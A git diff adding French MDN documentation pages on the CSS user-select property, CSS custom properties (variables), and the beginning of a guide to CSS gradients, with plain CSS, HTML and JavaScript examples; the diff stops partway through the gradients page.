+<p id="Formal_syntax"><strong>Note :</strong> CSS UI 4 <a href="https://github.com/w3c/csswg-drafts/commit/3f1d9db96fad8d9fc787d3ed66e2d5ad8cfadd05">a renommé <code>user-select: element</code> en <code>contain</code></a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.unselectable {
+  -moz-user-select: none;
+  -webkit-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+}
+
+.all {
+  -moz-user-select: all;
+  -webkit-user-select: all;
+  -ms-user-select: all;
+  user-select: all;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Vous devriez pouvoir sélectionner ce texte.&lt;/p&gt;
+&lt;p class="unselectable"&gt;Hop, vous ne pouvez pas sélectionner ce texte !&lt;/p&gt;
+&lt;p class="all"&gt;Cliquer une fois permettra de sélectionner l'ensemble du texte.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 UI', '#propdef-user-select', 'user-select')}}</td>
+   <td>{{Spec2('CSS4 UI')}}</td>
+   <td>Définition initiale. <code>-webkit-user-select</code> est indiqué comme étant un alias déprécié de <code>user-select</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.user-select")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::selection")}}</li>
+ <li>L'objet JavaScript {{domxref("Selection")}}.</li>
+ <li><code><a href="https://www.w3.org/TR/css-ui-4/#propdef-user-select">user-select</a></code> dans <a href="https://www.w3.org/TR/css-ui-4/">CSS Basic User Interface Module Level 4</a>.</li>
+</ul>
diff --git a/files/fr/web/css/using_css_custom_properties/index.html b/files/fr/web/css/using_css_custom_properties/index.html
new file mode 100644
index 0000000000..5f074cb779
--- /dev/null
+++ b/files/fr/web/css/using_css_custom_properties/index.html
@@ -0,0 +1,298 @@
+---
+title: Les variables CSS
+slug: Web/CSS/Using_CSS_custom_properties
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+  - Web
+translation_of: Web/CSS/Using_CSS_custom_properties
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les propriétés personnalisées CSS</strong> (<em>custom properties</em> en anglais, aussi parfois appelés <strong>variables CSS</strong>) sont des entités définies par les développeurs ou les utilisateurs d'une page Web, contenant des valeurs spécifiques utilisables à travers le document. Elles sont initialisées avec des propriétés personnalisées (par exemple <strong><code>--main-color: black;</code></strong>) et accessibles en utilisant la notation spécifique {{cssxref("var", "var()")}} (par exemple : <strong><code>color: var(--main-color);</code></strong>).</p>
+
+<p>Des sites et applications web complexes peuvent avoir des feuilles de style où de nombreuses valeurs sont répétées. Ainsi, la même couleur pourra être utilisée à des centaines d'endroits où il faudra la mettre à jour si besoin. Les propriétés personnalisées permettent de stocker une valeur à un endroit puis de réutiliser cette valeur (on factorise ainsi le code).</p>
+
+<h2 id="Utilisation_simple">Utilisation simple</h2>
+
+<p>Voici comment on déclare une variable :</p>
+
+<pre class="brush:css; highlight:[2]">element {
+  --main-bg-color: brown;
+}
+</pre>
+
+<p>Et voici comment on l'utilise</p>
+
+<pre class="brush:css; highlight:[2]">element {
+  background-color: var(--main-bg-color);
+}
+</pre>
+
+<h2 id="Problématique">Problématique</h2>
+
+<p>Lors de l'élaboration de sites de grande envergure, leurs auteurs font parfois face à des soucis de maintenabilité. De grandes feuilles de styles sont utilisées et de nombreuses informations se répètent. Par exemple, maintenir un thème de couleurs à travers un document nécessite la réutilisation des valeurs des couleurs à plusieurs endroits dans les fichiers CSS. Modifier un thème, en changeant une couleur ou en le récrivant entièrement, devient alors une tâche complexe demandant de la précision, là où un simple trouver et remplacer ne suffit pas.</p>
+
+<p>Le problème peut s'aggraver en utilisant les <em>frameworks</em> CSS puisque modifier une couleur demande de modifier le framework lui-même. Les pré-processeurs comme <a href="https://lesscss.org/">LESS</a> ou <a href="https://sass-lang.com/">Sass</a> peuvent faciliter cette tâche, mais peuvent également complexifier le processus de création en ajoutant une étape de compilation. Les propriétés personnalisées permettent d'utiliser une des principales fonctionnalités des pré-processeurs, sans cette étape de compilation.</p>
+
+<p>Le deuxième avantage de ces variables vient du fait que le nom lui-même contient des informations sémantiques. Les fichiers CSS deviennent alors plus facile à lire et à comprendre : écrire <code>main-text-color</code> permet de mieux s'y retrouver au fur et à mesure de la lecture qu'une valeur hexadécimale comme <code>#00ff00</code>, surtout si la même couleur est utilisée dans un autre contexte.</p>
+
+<h2 id="Définition">Définition</h2>
+
+<p>Les propriétés personnalisées ont actuellement deux formes :</p>
+
+<ul>
+ <li>les variables, qui sont des associations entre un identifiant et une valeur utilisables à la place de n'importe quelle valeur normale, en utilisant la notation fonctionnelle <code>var()</code> : <code>var(--example-variable)</code> retourne la valeur de <code>--example-variable</code>.</li>
+ <li>les propriétés personnalisées, qui sont des propriétés spéciales notées <code>--*</code> où <code>*</code> représente le nom de la variable. Elles sont utilisées pour définir la valeur d'une variable donnée : <code>--example-variable: 20px;</code> est une déclaration en CSS, utilisant la propriété personnalisée <code>--*</code> pour initialiser la valeur de la variable CSS <code>--example-variable</code> à <code>20px</code>.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Le préfixe de propriété personnalisée était noté <code>var-</code> dans les précédentes spécifications, mais a ensuite été changé pour <code>--</code>. Firefox 31 et supérieurs respectent cette nouvelle notation. ({{bug(985838)}})</div>
+
+<p>Les propriétés personnalisées sont similaires aux propriétés ordinaires. Elles sont sujettes à la cascade et héritent leur valeur de leur parent si elles ne sont pas redéfinies.</p>
+
+<h2 id="Premiers_pas_avec_les_propriétés_personnalisées_CSS">Premiers pas avec les propriétés personnalisées CSS</h2>
+
+<p>Commençons avec cette feuille CSS simple colorant les éléments de différentes classes avec la même couleur :</p>
+
+<div id="sample1">
+<pre class="brush:css; highlight:[3,20,26,32]">.un {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.deux {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.trois {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 75px;
+}
+.quatre {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 100px;
+}
+
+.cinq {
+  background-color: brown;
+}
+
+</pre>
+
+<p>Appliquons-le à ce code HTML :</p>
+
+<pre class="brush:html">&lt;div&gt;
+    &lt;div class="un"&gt;Toto&lt;/div&gt;
+    &lt;div class="deux"&gt;Texte &lt;span class="cinq"&gt;- encore du texte&lt;/span&gt;&lt;/div&gt;
+    &lt;input class="trois"&gt;
+    &lt;textarea class="quatre"&gt;Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+
+<p>ce qui donne ceci :</p>
+
+<p>{{EmbedLiveSample("sample1",600,180)}}</p>
+
+<p>Remarquez la répétition dans le CSS. La couleur d'arrière-plan est définie à <code>brown</code> à plusieurs endroits. Certaines déclarations peuvent être faites plus haut dans la cascade et le problème se résoudra grâce à l'héritage. Mais pour des projets non-triviaux, cela n'est pas toujours possible. En déclarant une variable dans la pseudo-classe {{cssxref(":root")}}, un développeur CSS peut éviter certaines répétitions en utilisant cette variable.</p>
+</div>
+
+<div id="sample2">
+<pre class="brush:css; highlight:[2, 7, 24,30,36]">:root {
+  --main-bg-color: brown;
+}
+
+.un {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.deux {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.trois {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 75px;
+}
+.quatre {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 100px;
+}
+
+.cinq {
+  background-color: var(--main-bg-color);
+}
+
+</pre>
+
+<pre class="brush:html hidden">&lt;div&gt;
+    &lt;div class="un"&gt;Toto&lt;/div&gt;
+    &lt;div class="deux"&gt;Text &lt;span class="cinq"&gt;- more text&lt;/span&gt;&lt;/div&gt;
+    &lt;input class="trois"&gt;
+    &lt;textarea class="quatre"&gt;Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Ce code donne le même résultat que précédemment mais permet de n'utiliser la propriété désirée qu'une seule fois.</p>
+
+<h2 id="Héritage_des_propriétés_personnalisées_et_valeurs_par_défaut">Héritage des propriétés personnalisées et valeurs par défaut</h2>
+
+<p>Il y a un héritage des propriétés personnalisées. Cela signifie que si une propriété n'est pas définie sur un élément, la valeur prise en compte sera celle utilisée pour la propriété de l'élément parent. Le fragment de document suivant :</p>
+
+<pre class="brush: html">&lt;div class="un"&gt;
+  &lt;div class="deux"&gt;
+    &lt;div class="trois"&gt;
+    &lt;/div&gt;
+    &lt;div class="quatre"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>associé à cette feuille de style :</p>
+
+<pre class="brush: css">.deux {
+  --test: 10px;
+}
+
+.trois {
+  --test: 2em;
+}
+</pre>
+
+<p>Dans ce cas, les résultats de <code>var(--test)</code> seront :</p>
+
+<ul>
+ <li><code>10px</code> pour l'élément avec <code>class="deux"</code></li>
+ <li><code>2em</code> pour l'élément avec <code>class="trois"</code></li>
+ <li><code>10px</code> pour l'élément avec <code>class="quatre"</code> : la valeur est héritée depuis le parent</li>
+ <li><em>invalid value</em> pour l'élément avec <code>class="un"</code>, c'est la valeur par défaut utilisée pour les différentes propriétés personnalisées.</li>
+</ul>
+
+<p>Gardez à l'esprit qu'il s'agit de propriétés personnalisées et non de propriétés personnalisées réelles. La valeur est calculée là où elle est nécessaire, non stockée pour être utilisée dans d'autres règles. Par exemple, vous ne pouvez pas définir une propriété pour un élément et espérer l'extraire dans la règle du descendant d'un frère. La propriété est uniquement définie pour le sélecteur correspondant et ses descendants, comme tout CSS normal.</p>
+
+<p>Avec <code><a href="/fr/docs/Web/CSS/var()">var()</a></code> on peut définir plusieurs valeurs par défaut lorsque la variable donnée n'est pas définie. Cela peut s'avérer utile lorsqu'on travaille avec des éléments personnalisés (<em>Custom Elements</em>) et le <em>Shadow DOM</em>.</p>
+
+<p>Le premier argument passé à la fonction est le nom de la <a href="https://www.w3.org/TR/css-variables/#custom-property" title="CSS Custom Properties for Cascading Variables Module Level 1">propriété personnalisée</a> qui doit être substituée. Le deuxième argument, s'il est fourni, indique la valeur par défaut qui est utilisée lorsque la <a href="https://www.w3.org/TR/css-variables/#custom-property" title="CSS Custom Properties for Cascading Variables Module Level 1">propriété personnalisée</a> en question est invalide.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Attention, la valeur fournie comme valeur par défaut ne pourra pas être utilisée si le navigateur ne prend pas en charge les propriétés personnalisées CSS. Elle sera uniquement utilisée si la valeur précédente n'a pu être calculée ou si elle est invalide.</p>
+</div>
+
+<pre class="brush: css">.deux {
+  color: var(--my-var, red);
+  /* Red si --my-var n'est pas définie */
+}
+
+.trois {
+  background-color: var(--my-var, var(--my-background, pink));
+  /* rose (pink) si --my-var et --my-background ne sont pas définies */
+}
+
+// Suite invalide :
+.trois {
+  background-color: var(--my-var, --my-background, pink);
+}
+</pre>
+
+<div class="note">
+<p><strong>Note : </strong>La syntaxe pour la valeur de recours, comme celle des <a dir="ltr" href="https://www.w3.org/TR/css-variables/#custom-property" title="CSS Custom Properties for Cascading Variables Module Level 1">propriétés personnalisées</a>, permet d'utiliser une virgule. Ainsi, <code>var(--toto, red, blue)</code> définit une valeur de recours égale à <code>red, blue</code>, c'est-à-dire tout ce qui est écrit après la première virgule. Si la deuxième valeur est incorrecte, elle ne pourra pas être utilisée et la règle sera invalide.</p>
+
+<p>La syntaxe de la deuxième règle (sur <code>.trois</code>) permet d'utiliser une autre variable comme variable de secours et une autre valeur (<code>pink</code>) dans le cas où cette deuxième variable ne fonctionne pas.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Des problèmes de performances ont pu être observés<sup>[source ?] </sup> causant un rendu plus lent des pages car le navigateur doit analyser l'ensemble des variables pour voir si elles sont disponibles.</p>
+</div>
+
+<h2 id="Validité_et_valeurs">Validité et valeurs</h2>
+
+<p>Le concept classique de validité en CSS, lié à chaque propriété, n'est pas très utile en ce qui concerne les propriétés personnalisées. Quand la valeur d'une propriété personnalisée est lue, le navigateur ne sait pas à quel moment elle sera utilisée. Il doit donc considérer quasiment toutes les valeurs comme <em>valides</em>.</p>
+
+<p>Malheureusement, ces valeurs valides peuvent être utilisées, via la notation fonctionnelle <code>var()</code>, dans un contexte où cela n'aurait pas de sens. Les propriétés et variables personnalisées peuvent mener à des déclarations CSS invalides, conduisant à un nouveau concept de <em>valide lors de l'exécution</em>.</p>
+
+<h2 id="Gestion_des_variables_invalides">Gestion des variables invalides</h2>
+
+<p>Lorsque le navigateur analyse une substitution <code>var()</code> invalide, c'est la valeur initiale ou héritée de la propriété qui est utilisée. Par exemple :</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;La couleur initiale d'un paragraphe est noire.&lt;/p&gt; </pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:root { --text-color: 16px; }
+p { color: blue; }
+p { color: var(--text-color); }
+</pre>
+
+<p>Comme on pourrait s'y attendre, le valeur applique la substitution aec <code>--text-color</code> à la place de <code>var(--text-color)</code> mais <code>16px</code> n'est pas une valeur valide pour {{cssxref("color")}}. Après la substitution, la déclaration n'a plus aucun sens. Le navigateur résoud ce problème en deux étapes :</p>
+
+<ol>
+ <li>Il vérifie si la propriété peut être héritée (ici <code>color</code>) : c'est bien le cas mais dans notre exemple <code>&lt;p&gt;</code> n'a aucun parent avec une couleur définie, il passe donc à l'étape suivante.</li>
+ <li>La valeur utilisée est <strong>la valeur initiale par défaut</strong>, pour <code>color</code>, c'est <code>black</code>.</li>
+</ol>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Gestion_des_valeurs_invalides')}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> La couleur du paragraphe ne sera pas bleue car une substitution invalide est remplacée par la valeur héritée ou la valeur initiale, pas par les valeurs provenant d'éventuelles autres règles.</p>
+
+<p>Si on avait directement écrit <code>color: 16px</code> (sans substitution), c'est alors la déclaration précédente qui aurait été utilisée.</p>
+</div>
+
+<h2 id="Manipulation_des_variables_en_JavaScript">Manipulation des variables en JavaScript</h2>
+
+<p>Il est possible d'utiliser les valeurs des propriétés personnalisés en JavaScript de la même façon que les propriétés standards.</p>
+
+<pre class="brush: js">// obtenir une variable à partir d'un style en ligne (dans un élément html)
+element.style.getPropertyValue("--ma-variable");
+
+// obtenir une variable par ailleurs
+getComputedStyle(element).getPropertyValue("--ma-variable");
+
+// définir une variable dans un style en ligne
+element.style.setProperty("--ma-variable", varJS + 4);</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.custom-property")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans les versions antérieures de la spécification, le préfixe indiquant les propriétés personnalisées était <code>var-</code>. Ce préfixe a ensuite été modifié en <code>--</code>. et Firefox 31 et les versions ultérieures respectent cette spécification  (cf. {{bug(985838)}})</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("--*", "Les propriétés personnalisées")}}</li>
+</ul>
diff --git a/files/fr/web/css/utilisation_de_dégradés_css/index.html b/files/fr/web/css/utilisation_de_dégradés_css/index.html
new file mode 100644
index 0000000000..94a0fbcb67
--- /dev/null
+++ b/files/fr/web/css/utilisation_de_dégradés_css/index.html
@@ -0,0 +1,747 @@
+---
+title: Utilisation de dégradés CSS
+slug: Web/CSS/Utilisation_de_dégradés_CSS
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Images/Using_CSS_gradients
+---
+<div>{{CSSRef}}</div>
+
+<p>Les <strong>dégradés CSS</strong> sont représentés par le type de donnée {{cssxref("&lt;gradient&gt;")}} qui est un sous-ensemble du type {{cssxref("&lt;image&gt;")}}. L'utilisation de dégradés CSS permet d'afficher des transitions douces entre deux couleurs ou plus. Il existe trois sortes de degradés : les dégradés linéaires (cf. {{cssxref("linear-gradient")}}, les dégradés radiaux (cf. {{cssxref("radial-gradient")}}) et les dégradés coniques (cf. {{cssxref("conic-gradient")}}).</p>
+
+<p>Les dégradés peuvent être répétés avec {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} et {{cssxref("repeating-conic-gradient")}}.</p>
+
+<p>Les dégradés peuvent être utilisés à chaque endroit où on peut utiliser une image (par exemple les arrière-plans). En évitant d'utiliser des images pour ces effets, le temps de téléchargement et la bande passante utilisée sont réduits. En outre, comme le dégradé est généré par le navigateur, les objets concernés se comporteront mieux en cas de zoom et votre mise en page peut être ajustée de manière plus flexible.</p>
+
+<p>Dans cet article, nous verrons d'abord les dégradés linéaires et détaillerons les fonctionnalités associées avant de passer aux dégradés radiaux, coniques et à leurs formes répétées.</p>
+
+<h2 id="Dégradés_linéaires">Dégradés linéaires</h2>
+
+<p>Pour créer un dégradé linéaire, définissez un point de départ et une direction (sous la forme d'un angle) selon laquelle l'effet de dégradé sera appliqué.</p>
+
+<h3 id="Dégradés_linéaires_simples">Dégradés linéaires simples</h3>
+
+<p>Voici un dégradé linéaire qui commence au centre (horizontalement) et en haut (verticalement), du bleu vers le blanc.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(blue, white);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Dégradés_linéaires_simples",120,120)}}</p>
+
+<h3 id="Appliquer_un_dégradé_de_gauche_à_droite">Appliquer un dégradé de gauche à droite</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(to right, blue, white);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Appliquer_un_dégradé_de_gauche_à_droite",120,120)}}</p>
+
+<h3 id="Appliquer_un_dégradé_en_diagonale">Appliquer un dégradé en diagonale</h3>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(to bottom right, blue, white);
+}
+
+div {
+  width: 200px;
+  height: 100px;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Appliquer_un_dégradé_en_diagonale",200,100)}}</p>
+
+<h3 id="Utilisation_d’angles">Utilisation d’angles</h3>
+
+<p>Si aucun angle n'est spécifié, il sera déterminé automatiquement à partir de la position de départ. Si vous désirez un meilleur contrôle sur la direction du dégradé, vous pouvez définir cet angle précisément.</p>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}</pre>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utilisation_d’angles",120,120)}}</p>
+
+<p>L'angle est spécifié entre une ligne verticale et la ligne de dégradé, dans le sens inverse des aiguilles d'une montre. Autrement dit, <code>0deg</code> crée un dégradé vertical de bas en haut, tandis que <code>90deg</code> génère un dégradé horizontal de la gauche vers la droite :</p>
+
+<p><img alt="linear_redangles.png" class="default internal" src="/files/3811/linear_red_angles.png"></p>
+
+<pre class="brush: css">background: linear-gradient(&lt;angle&gt;, red, white);</pre>
+
+<h2 id="Créer_des_effets_et_manipuler_les_couleurs">Créer des effets et manipuler les couleurs</h2>
+
+<h3 id="Utiliser_plus_de_deux_couleurs">Utiliser plus de deux couleurs</h3>
+
+<p>Les dégradés CSS ne sont pas limités à deux couleurs, il est possible d'en utiliser autant que souhaité :</p>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}</pre>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_5">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_plus_de_deux_couleurs",120,120)}}</p>
+
+<h3 id="Arrêts_de_couleurs">Arrêts de couleurs</h3>
+
+<p>Les arrêts de couleurs sont des points sur la ligne de dégradé qui doivent avoir une couleur précise. Leur emplacement peut être spécifié sous la forme d'un pourcentage de la longueur de la ligne, ou d'une longueur absolue. Vous pouvez en spécifier autant que vous voulez pour obtenir l'effet désiré. Si vous spécifiez un pourcentage, <code>0%</code> indique le point de départ, et <code>100%</code> le point d'arrivée ; il est cependant possible d'utiliser des valeurs en dehors de cet intervalle si nécessaire pour obtenir l'effet désiré.</p>
+
+<h4 id="CSS_6">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(to left, lime, lime 28px, red 77%, cyan);
+}
+
+div {
+  width: 120px;
+  height: 120px;
+}</pre>
+
+<h4 id="HTML_6">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_6">Résultat</h4>
+
+<p>{{EmbedLiveSample("Arrêts_de_couleur",120,120)}}</p>
+
+<p>Notez que la première et la dernière couleur n'indiquent pas d'emplacement ; en conséquence les valeurs 0% et 100% sont assignées automatiquement. La couleur centrale indique un emplacement à 80%, ce qui la place proche du bas.</p>
+
+<h3 id="Utiliser_des_indications_de_couleurs">Utiliser des indications de couleurs</h3>
+
+<p>Par défaut, les dégradés passent linéairement d'une couleur à une autre. On peut également utiliser une indication afin de définir l'emplacement où la couleur médiane sera atteinte. Dans l'exemple qui suit, plutôt que d'attendre la moitié de la transition au milieu, on la place à 10% de l'axe.</p>
+
+<h4 id="CSS_7">CSS</h4>
+
+<pre class="brush: css">div {
+  width:120px;
+  height: 120px;
+  float: left;
+  margin-right: 10px;
+}
+
+.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}</pre>
+
+<h4 id="HTML_7">HTML</h4>
+
+<pre class="brush: html">&lt;div class="color-hint"&gt;&lt;/div&gt;
+&lt;div class="simple-linear"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_7">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_des_indications_de_couleurs",120,120)}}</p>
+
+<h3 id="Transparence_et_dégradés">Transparence et dégradés</h3>
+
+<p>Les gradients gèrent la transparence. Vous pouvez l'utiliser, par exemple, en superposant plusieurs fonds pour créer des effets sur les images. Par exemple :</p>
+
+<h4 id="CSS_8">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background: linear-gradient(to right, transparent, mistyrose),
+    url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+
+div {
+  width: 300px;
+  height: 150px;
+}</pre>
+
+<h4 id="HTML_8">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_8">Résultat</h4>
+
+<p>{{EmbedLiveSample("Transparence_et_dégradés",300,150)}}</p>
+
+<p>Les fonds sont superposés avec le premier fond spécifié au dessus, et chaque fond supplémentaire par dessous.</p>
+
+<h3 id="Créer_des_lignes_franches">Créer des lignes franches</h3>
+
+<p>Pour créer une ligne franche entre deux couleurs et avoir deux bandes plutôt qu'un dégradé progressif, on peut définir deux points d'arrêt de couleur au même endroit. Dans l'exemple suivant, on a deux couleurs pour un même emplacement de point d'arrêt situé à <code>50%</code>:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="striped"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}</pre>
+
+<p>{{EmbedLiveSample('Créer_des_lignes_franches', 120, 120)}}</p>
+
+<h3 id="Créer_des_bandes_de_couleur">Créer des bandes de couleur</h3>
+
+<p>Pour inclure une bande d'une couleur donnée, sans transition au sein du dégradé, on utilisera deux points d'arrêt successif avec la même couleur. Ainsi, la couleur sera atteinte au premier point d'arrêt puis sera conservée jusqu'au suivant.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multiposition-stops"&gt;&lt;/div&gt;
+&lt;div class="multiposition-stop2"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+  float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css">.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+</pre>
+
+<p>{{EmbedLiveSample('Créer_des_bandes_de_couleur', 120, 120)}}</p>
+
+<p>Dans le premier exemple ci-avant, le bleu vert commence au début puis progresse jusqu'à 20% avant de transitionner vers le rouge pendant les 10% qui suivent. Le rouge reste vif entre 30% et 45% avant de transitionner vers un cyan pendant 15% etc.</p>
+
+<p>Dans le deuxième exemple, le deuxième point d'arrêt pour chaque couleur est situé au même emplacement que le premier point d'arrêt pour la couleur suivante et on obtient donc des bandes successives.</p>
+
+<h3 id="Contrôler_la_progression_du_dégradé">Contrôler la progression du dégradé</h3>
+
+<p>Par défaut, un dégradé progresse linéairement entre les deux couleurs et la couleur médiane est atteinte à la moitié du parcours. Toutefois, si on veut atteindre cette couleur médiane plus tôt ou plus tard, on peut fournir une indication permettant de définir l'emplacement du milieu de la transition. Dans l'exemple qui suit, la couleur est à la moitié de la transition entre le vert et le cyan à 20% du dégradé (et non à 50%). Le deuxième exemple ne contient pas de telle indication et la transition s'effectue linéairement. Vous pouvez ainsi observer l'impact d'une telle indication.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="colorhint-gradient"&gt;&lt;/div&gt; &lt;div class="regular-progression"&gt;&lt;/div&gt;
+
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+  float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css">.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+</pre>
+
+<p>{{EmbedLiveSample("Contrôler_la_progression_du_dégradé", 120, 120)}}</p>
+
+<h3 id="Empilement_de_dégradés">Empilement de dégradés</h3>
+
+<p>Il est possible d' « empiler » différents dégradés. Il suffit que les dégradés sur les couches supérieures ne soient pas complètement opaques pour qu'on puisse voir ceux des couches inférieures.</p>
+
+<h4 id="CSS_9">CSS</h4>
+
+<pre class="brush: css">.linear-gradient {
+  background:
+    linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+    linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+    linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+
+div {
+  width: 100px;
+  height: 100px;
+}</pre>
+
+<h4 id="HTML_9">HTML</h4>
+
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_9">Résultat</h4>
+
